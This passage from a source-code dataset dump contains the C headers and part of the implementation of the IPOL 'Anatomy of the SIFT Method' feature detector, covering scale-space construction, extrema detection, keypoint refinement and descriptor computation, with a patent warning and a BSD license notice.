flag);\n\n\n/** @brief Read list of keys from a txt file */\nvoid sift_read_keypoints(struct sift_keypoints* keys,\n const char* name,\n int n_hist,\n int n_ori,\n int n_bins, \n int flag);\n\n// Print a single keypoint\nvoid fprintf_one_keypoint(FILE* f, const struct keypoint *k, int n_descr, int n_bins, int flag);\n\n#endif // _LIB_KEYPOINT_H_\n" }, { "alpha_fraction": 0.6866498589515686, "alphanum_fraction": 0.7259445786476135, "avg_line_length": 28.191177368164062, "blob_id": "e8ad6161e6529d1e87f0a3421a7ccb95b2afd897", "content_id": "f402b4c9cdd667c97126adb15326177b094b416e", "detected_licenses": [ "MIT", "BSD-2-Clause", "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1985, "license_type": "permissive", "max_line_length": 100, "num_lines": 68, "path": "/backend/demo_SIFT/src/lib_util.h", "repo_name": "Nico-MC/sift-visualization", "src_encoding": "UTF-8", "text": "#ifndef _LIB_UTIL_H_\n#define _LIB_UTIL_H_ \n\n#include <stdio.h>\n#include <stdlib.h>\n\n#ifndef M_PI\n #define M_PI 3.14159265358979323846\n#endif\n\n#ifndef M_SQRT2\n #define M_SQRT2 1.41421356237309504880\n#endif\n\n#ifndef M_LN2\n #define M_LN2 0.693147180559945309417\n#endif\n\n// Allocate memory or abord on failure\nvoid* xmalloc(size_t size);\n\n// Reallocate memory of abort on failure\nvoid* xrealloc(void* p, size_t size);\n\n// Free memory allocated by xmalloc or xrealloc.\nvoid xfree(void* p);\n\n// Write a formatted message to standard error and abort the program, for\n// example, fatal_error(\"Failed to open file %s for writing\", filename);\nvoid fatal_error(const char* format, ...);\n\n// Write formatted message to standard error for debugging.\nvoid debug(const char* format, ...);\n\n// Linearly rescale input such that its values are in the range [0, 250].\nvoid linear_conversion(const float *in, float *out, int l);\n\n// Find the maximum value of an array.\nfloat array_max(const float* array, int length);\n\n// Find the minimum value of an array.\nfloat array_min(const float* array, int length);\n\n// Find the maximum value of an array.\nfloat find_array_max(const float* array, int length, int *position);\n\n// Find the minimum value of an array.\nfloat find_array_min(const float* array, int length, int *position);\n\n// Find the two minimal values in an array.\nvoid find_array_two_min(const float* array, int length, float* minA, float* minB, int* iA, int* iB);\n\n// L2 norm of an array.\nfloat array_l2norm(const float* array, int length);\n\n// Compute the SQUARE of the euclidean distance\nfloat euclidean_distance_square(const float* a1, const float* a2, int length);\n\n// Compute the euclidean distance\nfloat euclidean_distance(const float* a1, const float* a2, int length);\n\n// Compute the x modulus y\nfloat modulus(float x, float y);\n\n// Multiply the rotation matric R_alpha with [x,y]^T\nvoid apply_rotation(float x, float y, float *rx, float *ry, float alpha);\n\n#endif // _LIB_UTIL_H_\n" }, { "alpha_fraction": 0.68858802318573, "alphanum_fraction": 0.7037855982780457, "avg_line_length": 27.95199966430664, "blob_id": "d7c833d236df68ab3797df321b5b24050ea93473", "content_id": "cd309bfb492ec168bf0829ebaf44d37ba4affa0d", "detected_licenses": [ "BSD-2-Clause", "BSD-3-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3619, "license_type": "permissive", "max_line_length": 110, "num_lines": 125, "path": "/backend/demo_SIFT/src/lib_sift.h", "repo_name": "Nico-MC/sift-visualization", "src_encoding": "UTF-8", "text": "/*\nIPOL SIFT\nCopyright (C) 2014, Ives Rey-Otero, CMLA ENS Cachan \n<[email protected]>\n\nVersion 20140911 (September 11th, 2014)\n\nThis C ANSI source code is related to the IPOL publication\n\n [1] \"Anatomy of the SIFT Method.\" \n I. Rey Otero and M. Delbracio\n Image Processing Online, 2013.\n http://www.ipol.im/pub/algo/rd_anatomy_sift/\n\nAn IPOL demo is available at\n http://www.ipol.im/pub/demo/rd_anatomy_sift/\n\n\n\n\n\n== Patent Warning and License =================================================\nThe SIFT method is patented \n\n [2] \"Method and apparatus for identifying scale invariant features\n in an image.\"\n David G. Lowe\n Patent number: 6711293\n Filing date: Mar 6, 2000\n Issue date: Mar 23, 2004\n Application number: 09/519,89\n \n These source codes are made available for the exclusive aim of serving as\n scientific tool to verify the soundness and completeness of the algorithm\n description. Compilation, execution and redistribution of this file may\n violate patents rights in certain countries. The situation being different\n for every country and changing over time, it is your responsibility to\n determine which patent rights restrictions apply to you before you compile,\n use, modify, or redistribute this file. A patent lawyer is qualified to make\n this determination. If and only if they don't conflict with any patent terms,\n you can benefit from the following license terms attached to this file.\n\n\n*/\n/**\n * @file lib_sift.h\n * @brief The SIFT algorithmic chain\n *\n *\n * @author Ives Rey-Otero <[email protected]>\n */\n/**\n * @file lib_sift.c \n * @brief A simplified interface to the anatomy with standard parameters.\n *\n *\n * @author Ives Rey-Otero <[email protected]>\n */\n\n\n\n#ifndef _LIB_SIFT_H_\n#define _LIB_SIFT_H_\n#include <stdio.h>\n\n\n\n/** @brief the SIFT keypoint structure\n *\n * contains the position and orientation of the keypoint and the 128 descriptor from the original SIFT method.\n *\n */\nstruct sift_keypoint_std\n{\n float x;\n float y;\n float scale;\n float orientation;\n unsigned char descriptor[128];\n};\n\n\n/** @brief: compute the keypoints of an image (position, scale and orientation)\n * Does not extract the SIFT descriptor\n *\n * x input image of dimensions w \\times h\n *\n * n points to the integer that stores the number of extracted keypoints.\n *\n */\nstruct sift_keypoint_std* sift_compute_points(const float* x, int w, int h, int* n);\n\n\n/** @brief: compute the descriptors of a given set of oriented keypoints\n *\n * The oriented keypoints are provided by the user as a flat list of keypoint structure.\n *\n */\nvoid sift_fill_descriptors(const float *x, int w, int h, struct sift_keypoint_std *k, int n);\n\n/** @brief: compute the descriptors of a given set of oriented keypoints\n *\n * The keypoints are provided by the user as a flat list of keypoint structure.\n * The routine computes one principal orientation and one descriptor per keypoint.\n *\n */\nvoid sift_find_ori_and_fill_descriptors(const float *x, int w, int h, struct sift_keypoint_std *k, int n);\n\n/** @brief: compute keypoints and their descriptors (The standard SIFT method)\n *\n */\nstruct sift_keypoint_std *sift_compute_features(const float *x, int w, int h, int *n);\n\n// input and output of SIFT features\nstruct sift_keypoint_std *sift_read_from_file(const char *filename, int *n);\n\n\n// Read SIFT keypoints location (x,y,sigma) from a file\nstruct sift_keypoint_std *sift_read_keyslocation_from_file(char *filename, int *n);\n\n\nvoid sift_write_to_file(const char *filename, const struct sift_keypoint_std *k, int n);\nvoid fprintf_keypoint_std(FILE* f, const struct sift_keypoint_std* k, int n);\n\n#endif\n" }, { "alpha_fraction": 0.5281654000282288, "alphanum_fraction": 0.537887454032898, "avg_line_length": 34.868717193603516, "blob_id": "6e0711fefa10c645387bb0ca6d2f267559f732a0", "content_id": "7ec02f31a11ee308be35b7eeaac3f29e94090384", "detected_licenses": [ "MIT", "BSD-2-Clause", "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 34972, "license_type": "permissive", "max_line_length": 152, "num_lines": 975, "path": "/backend/demo_SIFT/src/lib_sift_anatomy.c", "repo_name": "Nico-MC/sift-visualization", "src_encoding": "UTF-8", "text": "/*\nIPOL SIFT\nCopyright (C) 2014, Ives Rey-Otero, CMLA ENS Cachan\n<[email protected]>\n\nVersion 20140911 (September 11th, 2014)\n\nThis C ANSI source code is related to the IPOL publication\n\n [1] \"Anatomy of the SIFT Method.\"\n I. Rey Otero and M. Delbracio\n Image Processing Online, 2013.\n http://www.ipol.im/pub/algo/rd_anatomy_sift/\n\nAn IPOL demo is available at\n http://www.ipol.im/pub/demo/rd_anatomy_sift/\n\n\n\n\n\n== Patent Warning and License =================================================\n\n\nThis program is free software: you can use, modify and/or\nredistribute it under the terms of the simplified BSD\nLicense. You should have received a copy of this license along\nthis program. If not, see\n<http://www.opensource.org/licenses/bsd-license.html>.\n\n\n\nThe SIFT method is patented\n\n [2] \"Method and apparatus for identifying scale invariant features\n in an image.\"\n David G. Lowe\n Patent number: 6711293\n Filing date: Mar 6, 2000\n Issue date: Mar 23, 2004\n Application number: 09/519,89\n\n These source codes are made available for the exclusive aim of serving as\n scientific tool to verify the soundness and completeness of the algorithm\n description. Compilation, execution and redistribution of this file may\n violate patents rights in certain countries. The situation being different\n for every country and changing over time, it is your responsibility to\n determine which patent rights restrictions apply to you before you compile,\n use, modify, or redistribute this file. A patent lawyer is qualified to make\n this determination. If and only if they don't conflict with any patent terms,\n you can benefit from the following license terms attached to this file.\n\n*/\n/**\n * @file lib_sift_anatomy.c\n * @brief SIFT anatomy interface.\n *\n *\n * @author Ives Rey-Otero <[email protected]>\n */\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <time.h>\n#include <stdbool.h>\n#include <assert.h>\n#include <math.h>\n#include <float.h>\n\n#include \"lib_description.h\"\n#include \"lib_discrete.h\"\n#include \"lib_sift_anatomy.h\"\n#include \"lib_util.h\"\n\n#define MAX(i,j) ( (i)<(j) ? (j):(i) )\n#define MIN(i,j) ( (i)<(j) ? (i):(j) )\n\n#define ABS(x) ((x)<0?-(x):(x))\n\n#define EPSILON 0\n\n\n\n\n/** @brief Compute the Gaussian scalespace for SIFT\n *\n *\n * in @param input image of im_w X im_h\n * @param sigma_in : assumed level of blur in the image\n *\n *\n * The construction parameters are already stored in scalespace\n *\n */\nvoid scalespace_compute(struct sift_scalespace* ss,\n const float* image,\n int im_w,\n int im_h,\n float sigma_in)\n{\n // seed image\n float delta_min = ss->octaves[0]->delta;\n float sigma_min = ss->octaves[0]->sigmas[0];\n int w_min = ss->octaves[0]->w;\n int h_min = ss->octaves[0]->h;\n // check that the scalespace is correctly defined\n assert(w_min == (int)(im_w/delta_min));\n assert(h_min == (int)(im_h/delta_min));\n\n float sig_prev,sig_next,sigma_extra;\n\n /* for dereferencing */\n struct octa* octave;\n struct octa* octave_prev;\n int w_prev, h_prev;\n float* im_prev;\n float* im_next;\n\n int nOct = ss->nOct;\n for(int o = 0; o < nOct; o++){\n\n octave = ss->octaves[o];\n int nSca = octave->nSca;\n int w = octave->w;\n int h = octave->h;\n float delta = octave->delta; /* intersample distance */\n\n /** first image in the stack */\n if(o==0){ /* from input image */\n assert(sigma_min>=sigma_in);\n sigma_extra = sqrt(sigma_min*sigma_min - sigma_in*sigma_in)/delta_min;\n if(delta_min < 1){\n float* imtmp = xmalloc(w* h * sizeof(float));\n sift_oversample_bilin(image,im_w,im_h,imtmp,w,h,delta_min);\n sift_add_gaussian_blur(imtmp,octave->imStack,w,h,sigma_extra);\n xfree(imtmp);\n }else{ /* ie delta_min = 1, w_min = in_w... */\n sift_add_gaussian_blur(image,octave->imStack,w,h,sigma_extra);\n }\n }\n else{ /* from previous octave */\n octave_prev = ss->octaves[o-1];\n w_prev = octave_prev->w;\n h_prev = octave_prev->h;\n // WARNING nSca also includes the three auximliary pictures.\n int nspo = (nSca-3); // scales per octace\n sift_subsample_by2(&octave_prev->imStack[nspo*w_prev*h_prev], octave->imStack, w_prev, h_prev);\n }\n\n /** The rest of the image stack*/\n for(int s = 1; s < nSca; s++){ /*add blur to previous image in the stack*/\n im_prev = &octave->imStack[(s-1)*w*h];\n im_next = &octave->imStack[s*w*h];\n sig_prev = octave->sigmas[s-1];\n sig_next = octave->sigmas[s];\n sigma_extra = sqrt(sig_next*sig_next- sig_prev*sig_prev)/delta;\n sift_add_gaussian_blur(im_prev,im_next,w,h,sigma_extra);\n }\n }\n}\n\n\n\n\n/** @brief difference of Gaussians\n *\n */\nstatic void scalespace_compute_dog(const struct sift_scalespace *s,\n struct sift_scalespace *d)\n{\n for(int o = 0; o < d->nOct; o++){\n const struct octa* s_oct = s->octaves[o];\n struct octa* d_oct = d->octaves[o];\n int ns = d_oct->nSca;\n int w = d_oct->w;\n int h = d_oct->h;\n for(int s = 0; s < ns; s++){\n float* diff = &d_oct->imStack[s*w*h];\n float* im_P = &s_oct->imStack[(s+1)*w*h];\n float* im_M = &s_oct->imStack[s*w*h];\n for(int p=0;p<w*h;p++)\n diff[p]=im_P[p]-im_M[p];\n }\n }\n}\n\n\n/** @brief Compute the 2d gradient of each image in the scale-space\n *\n * @in scalespace\n * @out dx_scalespace,\n * scalespace structure storing the gradient x-component of each image\n *\n * @out dy_scalespace,\n * scalespace structure storing the gradient y-component of each image\n *\n *\n * The gradients of the auxiliary images are not computed.\n *\n */\nvoid scalespace_compute_gradient(const struct sift_scalespace* scalespace,\n struct sift_scalespace* sx,\n struct sift_scalespace* sy)\n{\n int nOct = scalespace->nOct;\n for(int o = 0; o < nOct; o++){\n int nSca = scalespace->octaves[o]->nSca; //WARNING this includes the auxiliary images.\n int w = scalespace->octaves[o]->w;\n int h = scalespace->octaves[o]->h;\n for(int s = 0;s < nSca;s++){\n const float* im = &scalespace->octaves[o]->imStack[s*w*h];\n float* dx = &sx->octaves[o]->imStack[s*w*h];\n float* dy = &sy->octaves[o]->imStack[s*w*h];\n sift_compute_gradient(im, dx, dy, w, h);\n }\n }\n}\n\n\n/** @brief Extract discrete extrema from DoG scale-space.\n *\n * in @param dog : Difference of Gaussian (scale-space structure)\n *\n * out @param keys : List of keypoints.\n *\n *\n *\n * The following parameters are for memory allocation only.\n *\n * @param n_bins : Number of bins in the histogram\n * used to attribute principal orientation.\n *\n * @param n_hist\n * @param n_ori : The SIFT descriptor is an array of\n * n_hist X n_hist weighted orientation\n * with n_ori bins each.\n *\n */\nstatic void keypoints_find_3d_discrete_extrema(struct sift_scalespace* d,\n struct sift_keypoints* keys,\n int n_ori,\n int n_hist,\n int n_bins)\n{\n for(int o = 0; o < d->nOct; o++){\n\n int ns = d->octaves[o]->nSca; // dimension of the image stack in the current octave\n int w = d->octaves[o]->w;\n int h = d->octaves[o]->h;\n float delta = d->octaves[o]->delta; // intersample distance\n float* imStack = d->octaves[o]->imStack;\n\n // Precompute index offsets to the 26 neighbors in a 3x3x3 neighborhood.\n int neighbor_offsets[26];\n int n = 0;\n for (int ds = -1; ds <= 1; ds++) {\n for (int di = -1; di <= 1; di++) {\n for (int dj = -1; dj <= 1; dj++) {\n if (ds != 0 || di != 0 || dj != 0) {\n neighbor_offsets[n] = (ds * h + di) * w + dj;\n n++;\n }\n }\n }\n }\n\n // Loop through the samples of the image stack (one octave)\n for(int s = 1; s < ns-1; s++){\n for(int i = 1; i < h-1; i++){\n for(int j = 1; j < w-1; j++){\n\n const float* center = &imStack[s*w*h+i*w+j];\n const float center_value = *center;\n\n bool is_local_min = true;\n // An optimizing compiler will unroll this loop.\n for (int n = 0; n < 26; n++) {\n if (center[neighbor_offsets[n]] - EPSILON <= center_value) {\n is_local_min = false;\n break; // Can stop early if a smaller neighbor was found.\n }\n }\n bool is_local_max = true;\n // Can skip max check if center point was determined to be a local min.\n if (is_local_min) {\n is_local_max = false;\n } else {\n // An optimizing compiler will unroll this loop.\n for (int n = 0; n < 26; n++) {\n if (center[neighbor_offsets[n]] - EPSILON >= center_value) {\n is_local_max = false;\n break; // Can stop early if a larger neighbor was found.\n }\n }\n }\n if(is_local_max || is_local_min) { // if 3d discrete extrema, save a candidate keypoint\n struct keypoint* key = sift_malloc_keypoint(n_ori, n_hist, n_bins);\n key->i = i;\n key->j = j;\n key->s = s;\n key->o = o;\n key->x = delta*i;\n key->y = delta*j;\n key->sigma = d->octaves[o]->sigmas[s];\n key->val = imStack[s*w*h+i*w+j];\n sift_add_keypoint_to_list(key,keys);\n }\n }\n }\n }\n }\n}\n\n\n\n/** @brief Filter a list of keypoints (copy the keypoints that satisfy a criteria)\n *\n * in @param keysIn : list of keys to be filtered.\n *\n * out @param keysAccept list of keys with DoG absolute value beyond threshold.\n *\n * @param thresh :constant threshold over the entire scale-space.\n *\n */\nstatic void keypoints_discard_with_low_response(struct sift_keypoints *keysIn,\n struct sift_keypoints *keysAccept,\n float thresh)\n{\n for( int k = 0; k < keysIn->size; k++){\n struct keypoint* key = keysIn->list[k];\n bool isAccepted = ( ABS(key->val) > thresh);\n if (isAccepted == true){\n struct keypoint* copy = sift_malloc_keypoint_from_model_and_copy(key);\n sift_add_keypoint_to_list(copy, keysAccept);\n }\n }\n}\n\n\n\n\n/** @brief Execute one interpolation (to refine extrema position)\n *\n * in @param imStck : a stack of images in the DoG space\n * w X h X nscales samples.\n *\n * in @param i , j , s : 3d discrete extrema\n *\n * out @param di , dj , ds : offset in each spatial direction\n * out @param dVal , the extremum value is : imStck[i,j,s]+dVal\n *\n *\n * Computes the 3D Hessian of the DoG space in one point\n *\n *\n */\nstatic void inverse_3D_Taylor_second_order_expansion(float *stack,\n int w, int h, int ns,\n int i, int j, int s,\n float *di, float *dj, float *ds, float *val)\n{\n float hXX,hXY,hXS,hYY,hYS,hSS;\n float det,aa,ab,ac,bb,bc,cc;\n float gX,gY,gS;\n float ofstX, ofstY, ofstS, ofstVal;\n\n /** Compute the 3d Hessian at pixel (i,j,s) Finite difference scheme *****/\n hXX = stack[s*w*h+(i-1)*w+j] + stack[s*w*h+(i+1)*w+j] - 2*stack[s*w*h+i*w+j];\n hYY = stack[s*w*h+i*w+(j+1)] + stack[s*w*h+i*w+(j-1)] - 2*stack[s*w*h+i*w+j];\n hSS = stack[(s+1)*w*h+i*w+j] + stack[(s-1)*w*h+i*w+j] - 2*stack[s*w*h+i*w+j];\n hXY = 0.25*( (stack[s*w*h+(i+1)*w+(j+1)] - stack[s*w*h+(i+1)*w+(j-1)])\n - (stack[s*w*h+(i-1)*w+(j+1)] - stack[s*w*h+(i-1)*w+(j-1)]) );\n hXS = 0.25*( (stack[(s+1)*w*h+(i+1)*w+j] - stack[(s+1)*w*h+(i-1)*w+j])\n - (stack[(s-1)*w*h+(i+1)*w+j] - stack[(s-1)*w*h+(i-1)*w+j]) );\n hYS = 0.25*( (stack[(s+1)*w*h+i*w+(j+1)] - stack[(s+1)*w*h+i*w+(j-1)])\n - (stack[(s-1)*w*h+i*w+(j+1)] - stack[(s-1)*w*h+i*w+(j-1)]) );\n\n /** Compute the 3d gradient at pixel (i,j,s) */\n gX = 0.5*( stack[s*w*h+(i+1)*w+j] - stack[s*w*h+(i-1)*w+j] );\n gY = 0.5*( stack[s*w*h+i*w+(j+1)] - stack[s*w*h+i*w+(j-1)] );\n gS = 0.5*( stack[(s+1)*w*h+i*w+j] - stack[(s-1)*w*h+i*w+j] );\n\n /** Inverse the Hessian - Fitting a quadratic function */\n det = hXX*hYY*hSS - hXX*hYS*hYS - hXY*hXY*hSS + 2*hXY*hXS*hYS - hXS*hXS*hYY ;\n aa = (hYY*hSS - hYS*hYS)/det;\n ab = (hXS*hYS - hXY*hSS)/det;\n ac = (hXY*hYS - hXS*hYY)/det;\n bb = (hXX*hSS - hXS*hXS)/det;\n bc = (hXY*hXS - hXX*hYS)/det;\n cc = (hXX*hYY - hXY*hXY)/det;\n\n // offset\n ofstX = -aa*gX-ab*gY-ac*gS; // in position\n ofstY = -ab*gX-bb*gY-bc*gS;\n ofstS = -ac*gX-bc*gY-cc*gS;\n /** Compute the DoG value offset */\n ofstVal = + 0.5*(gX*ofstX+gY*ofstY+gS*ofstS); //... and value\n\n /** output */\n *di = ofstX;\n *dj = ofstY;\n *ds = ofstS;\n *val = stack[s*w*h+i*w+j] + ofstVal;\n}\n\n\n\n\n/** @brief Refine the position of candidate keypoints\n *\n * in @param dog : difference of Gaussian\n * in @param keys : list candidate keypoints (3d discrete extrema)\n *\n * out @param keysInterpol : list of interpolated keypoints.\n * out @param keysReject : list of removed keypoints.\n *\n * The interpolation model consists in a local 3d quadratic model of the DoG space.\n *\n * An interpolation is successful if the interpolated extremum lays inside the pixel area\n *\n * Iterative process\n *\n *\n */\nstatic void keypoints_interpolate_position(struct sift_scalespace *d,\n struct sift_keypoints *keys,\n struct sift_keypoints *keysInterpol,\n int itermax)\n{\n\n int nMaxIntrp = itermax; /* Maximum number of consecutive unsuccessful interpolation */\n float ofstMax = 0.6;\n // Ratio between two consecutive scales in the scalespace\n // assuming the ratio is constant over all scales and over all octaves\n float sigmaratio = d->octaves[0]->sigmas[1]/d->octaves[0]->sigmas[0];\n\n for(int k = 0; k<keys->size; k++){\n\n /* Loading keypoint and associated octave */\n struct keypoint* key = keys->list[k];\n int o = key->o;\n int s = key->s;\n int i = key->i;\n int j = key->j;\n struct octa* octave = d->octaves[o];\n int w = octave->w;\n int h = octave->h;\n int ns = octave->nSca; // WARNING this includes the auxiliary scales.\n float delta = octave->delta;\n float* imStck = octave->imStack;\n float val = key->val;\n\n int ic=i; /* current value of i coordinate - at each interpolation */\n int jc=j;\n int sc=s;\n int nIntrp = 0;\n bool isConv = false;\n float ofstX =0.;\n float ofstY =0.;\n float ofstS =0.;\n\n while( nIntrp < nMaxIntrp ){\n\n /** Extrema interpolation via a quadratic function */\n /* only if the detection is not too close to the border (so the discrete 3D Hessian is well defined) */\n if((0 < ic)&&( ic < (h-1))&&(0 < jc)&&(jc < (w-1))){\n inverse_3D_Taylor_second_order_expansion(imStck, w, h, ns, ic, jc, sc, &ofstX, &ofstY, &ofstS, &val);\n }else{\n isConv = false;\n ofstX = 5.0;\n ofstY = 5.0;\n ofstS = 5.0;\n }\n /** Test if the quadratic model is consistent */\n if( (ABS(ofstX) < ofstMax) && (ABS(ofstY) < ofstMax) && (ABS(ofstS) < ofstMax) ){\n isConv = true;\n break;\n }else{ // move to another point\n // space...\n if((ofstX > +ofstMax) && ((ic+1) < (h-1))) {ic +=1;}\n if((ofstX < -ofstMax) && ((ic-1) > 0 )) {ic -=1;}\n if((ofstY > +ofstMax) && ((jc+1) < (w-1))) {jc +=1;}\n if((ofstY < -ofstMax) && ((jc-1) > 0 )) {jc -=1;}\n // ... and scale.\n if((ofstS > +ofstMax) && ((sc+1) < (ns-1))) {sc +=1;}\n if((ofstS < -ofstMax) && ((sc-1) > 0 )) {sc -=1;}\n }\n nIntrp += 1;\n }\n\n if(isConv == true){\n /** Create key and save in corresponding keypoint structure */\n struct keypoint* keycp = sift_malloc_keypoint_from_model_and_copy(key);\n keycp->x = (ic+ofstX)*delta;\n keycp->y = (jc+ofstY)*delta;\n keycp->i = ic;\n keycp->j = jc;\n keycp->s = sc;\n keycp->sigma = octave->sigmas[sc]*pow(sigmaratio,ofstS); /* logarithmic scale */\n keycp->val = val;\n sift_add_keypoint_to_list(keycp,keysInterpol);\n }\n }\n}\n\n\n\n\n\n/** @brief Compute Edge response\n * i.e. Compute the ratio of principal curvatures\n * i.e. Compute the ratio (hXX + hYY)*(hXX + hYY)/(hXX*hYY - hXY*hXY);\n *\n *\n * The 2D hessian of the DoG operator is computed via finite difference schemes.\n *\n * in @param dog : difference of Gaussians\n * out @param keys : candidate keypoints\n *\n * Note:\n * - No keypoint is removed here\n *\n */\nstatic void keypoints_compute_edge_response(struct sift_scalespace *d, struct sift_keypoints *keys)\n{\n for(int k=0;k<keys->size;k++){\n /* Loading keypoint and associated octave */\n struct keypoint* key = keys->list[k];\n int o = key->o;\n int s = key->s;\n int i = key->i;\n int j = key->j;\n struct octa* octave = d->octaves[o];\n int w = octave->w;\n int h = octave->h;\n float* im = &octave->imStack[s*w*h];\n /* Compute the 2d Hessian at pixel (i,j) */\n float hXX = im[(i-1)*w+j]+im[(i+1)*w+j]-2*im[i*w+j];\n float hYY = im[i*w+(j+1)]+im[i*w+(j-1)]-2*im[i*w+j] ;\n float hXY = 1./4*((im[(i+1)*w+(j+1)]-im[(i+1)*w+(j-1)])-(im[(i-1)*w+(j+1)]-im[(i-1)*w+(j-1)]));\n /* Harris and Stephen Edge response */\n float edgeResp = (hXX + hYY)*(hXX + hYY)/(hXX*hYY - hXY*hXY);\n key->edgeResp = edgeResp; /* Harris and Stephen computed on the DoG operator */\n }\n}\n\n\n\n\n/** @brief Dissize keys with edge response\n *\n * in @param keysIn : list of keypoints, the edge response is stored\n *\n * out @param keysAccepted : passing\n * out @param keysRejected : failing\n *\n * @param threshold on (hXX + hYY)*(hXX + hYY)/(hXX*hYY - hXY*hXY)\n * on the ratio of principal curvatures.\n *\n *\n */\nstatic void keypoints_discard_on_edge(struct sift_keypoints *keysIn,\n struct sift_keypoints *keysAccept,\n float thresh)\n{\n for( int k = 0; k < keysIn->size; k++){\n struct keypoint *key = keysIn->list[k];\n bool isAccepted = ( ABS(key->edgeResp) <= thresh);\n if (isAccepted == true){\n struct keypoint *copy = sift_malloc_keypoint_from_model_and_copy(key);\n sift_add_keypoint_to_list(copy, keysAccept);\n }\n }\n}\n\n\n\n\n/** @brief Attribute a reference orientation to each keypoint of a list\n *\n *\n * in @param dx_scalespace, x component (up-bottom)\n * in @param dy_scalespace, y component (left-right)\n *\n * in @param keysIn list of keypoints (pointer)\n *\n * out @param keysOut list of oriented keypoints\n *\n * size(keysIn) <= size(keysOut)\n *\n * @param t : threshold over a local maxima to constitute a reference orientation\n *\n * @param lambda_ori : size parameter for the Gaussian window\n *\n *\n *\n */\nstatic void keypoints_attribute_orientations(const struct sift_scalespace *sx,\n const struct sift_scalespace *sy,\n const struct sift_keypoints *keysIn,\n struct sift_keypoints *keysOut,\n int n_bins, float lambda_ori, float t)\n{\n for(int k=0;k<keysIn->size;k++){\n\n // load keypoint coordinates\n struct keypoint* key = keysIn->list[k];\n float x = key->x;\n float y = key->y;\n float sigma = key->sigma;\n int o = key->o;\n int s = key->s;\n\n // load scalespace gradient\n int w = sx->octaves[o]->w;\n int h = sx->octaves[o]->h;\n float delta = sx->octaves[o]->delta;\n const float* dx = &(sx->octaves[o]->imStack[s*w*h]);\n const float* dy = &(sy->octaves[o]->imStack[s*w*h]);\n\n //conversion to the octave's coordinates\n x /= delta;\n y /= delta;\n sigma /= delta;\n\n /** Accumulate gradient orientation histogram */\n sift_accumulate_orientation_histogram(x, y, sigma, dx, dy, w, h, n_bins, lambda_ori, key->orihist);\n\n /** Extract principal orientation */\n float* principal_orientations = xmalloc(n_bins*sizeof(float));\n int n_prOri;\n n_prOri = sift_extract_principal_orientations(key->orihist, n_bins, t, principal_orientations); /*t = 0.8 threhsold for secondary orientation */\n\n /** Updating keypoints and save in new list */\n for(int n = 0; n < n_prOri; n++){\n struct keypoint* copy = sift_malloc_keypoint_from_model_and_copy(key);\n copy->theta = principal_orientations[n];\n sift_add_keypoint_to_list(copy, keysOut);\n }\n free(principal_orientations);\n }\n}\n\n\n\n\nstatic void keypoints_attribute_one_orientation(const struct sift_scalespace *sx,\n const struct sift_scalespace *sy,\n struct sift_keypoints *keys,\n int n_bins, float lambda_ori)\n{\n for(int k = 0; k < keys->size; k++){\n\n // load keypoint coordinates\n struct keypoint* key = keys->list[k];\n float x = key->x;\n float y = key->y;\n float sigma = key->sigma;\n int o = key->o;\n int s = key->s;\n\n // load scalespace gradient\n int w = sx->octaves[o]->w;\n int h = sx->octaves[o]->h;\n float delta = sx->octaves[o]->delta;\n const float* dx = &(sx->octaves[o]->imStack[s*w*h]);\n const float* dy = &(sy->octaves[o]->imStack[s*w*h]);\n\n //conversion to the octave's coordinates\n x /= delta;\n y /= delta;\n sigma /= delta;\n\n /** Accumulate gradient orientation histogram */\n sift_accumulate_orientation_histogram(x, y, sigma, dx, dy, w, h, n_bins,lambda_ori,key->orihist);\n\n /** Extract principal orientation (includes histogram smoothing)*/\n key->theta = sift_extract_one_orientation(key->orihist, key->n_bins);\n }\n}\n\n\n\nstatic void keypoints_discard_near_the_border(struct sift_keypoints *keysIn,\n struct sift_keypoints *keysAccept,\n int w,\n int h,\n float lambda)\n{\n for( int k = 0; k < keysIn->size; k++){\n struct keypoint *key = keysIn->list[k];\n float x = key->x;\n float y = key->y;\n float sigma = key->sigma;\n bool isAccepted = (x-lambda*sigma > 0.0 )&&( x + lambda*sigma < (float)h)\n && (y-lambda*sigma > 0.0 )&&( y + lambda*sigma < (float)w);\n if (isAccepted == true){\n struct keypoint *copy = sift_malloc_keypoint_from_model_and_copy(key);\n sift_add_keypoint_to_list(copy, keysAccept);\n }\n }\n}\n\n\n\n\n/** @brief Attribute a feature vector to each keypoint of a list\n *\n *\n * in @param dx_scalespace, x component (up to bottom)\n * in @param dy_scalespace, y component (left to right)\n *\n * in @param keys list of keypoints to be described\n *\n * @param n_hist , the descriptor is an array of nhist^2 weighted histograms.\n * @param n_ori , each weighted histogram has n_ori bins.\n *\n * @param lambda_descr : size parameter for the Gaussian window\n * - the Gaussian window has a std dev of lambda_descr X sigma\n * - the patch considered has a w of\n * 2*(1+1/n_hist)*lambda_descr X sigma\n */\nstatic void keypoints_attribute_descriptors(struct sift_scalespace *sx,\n struct sift_scalespace *sy,\n struct sift_keypoints *keys,\n int n_hist,\n int n_ori,\n float lambda_descr)\n{\n int n_descr = n_hist*n_hist*n_ori;\n\n for(int k = 0; k < keys->size; k++){\n\n /** Loading keypoint gradient scalespaces */\n struct keypoint* key = keys->list[k];\n float x = key->x;\n float y = key->y;\n int o = key->o;\n int s = key->s;\n float sigma = key->sigma;\n float theta = key->theta;\n\n // load scalespace gradient\n int w = sx->octaves[o]->w;\n int h = sx->octaves[o]->h;\n float delta = sx->octaves[o]->delta;\n const float* dx = &(sx->octaves[o]->imStack[s*w*h]);\n const float* dy = &(sy->octaves[o]->imStack[s*w*h]);\n\n // conversion to the octave's coordinates\n x /= delta;\n y /= delta;\n sigma /= delta;\n\n /** Compute descriptor representation */\n sift_extract_feature_vector(x, y, sigma, theta,\n dx, dy, w, h,\n n_hist, n_ori, lambda_descr,\n key->descr);\n\n /** Threshold and quantization of the descriptor */\n sift_threshold_and_quantize_feature_vector(key->descr, n_descr, 0.2);\n }\n}\n\n\n\n\n\nstruct sift_parameters* sift_assign_default_parameters()\n{\n struct sift_parameters* p = xmalloc(sizeof(*p));\n p->n_oct = 8;\n p->n_spo = 3;\n p->sigma_min = 0.8;\n p->delta_min = 0.5;\n p->sigma_in = 0.5;\n p->C_DoG = 0.013333333; // = 0.04/3\n p->C_edge = 10;\n p->n_bins = 36;\n p->lambda_ori = 1.5;\n p->t = 0.80;\n p->n_hist = 4;\n p->n_ori = 8;\n 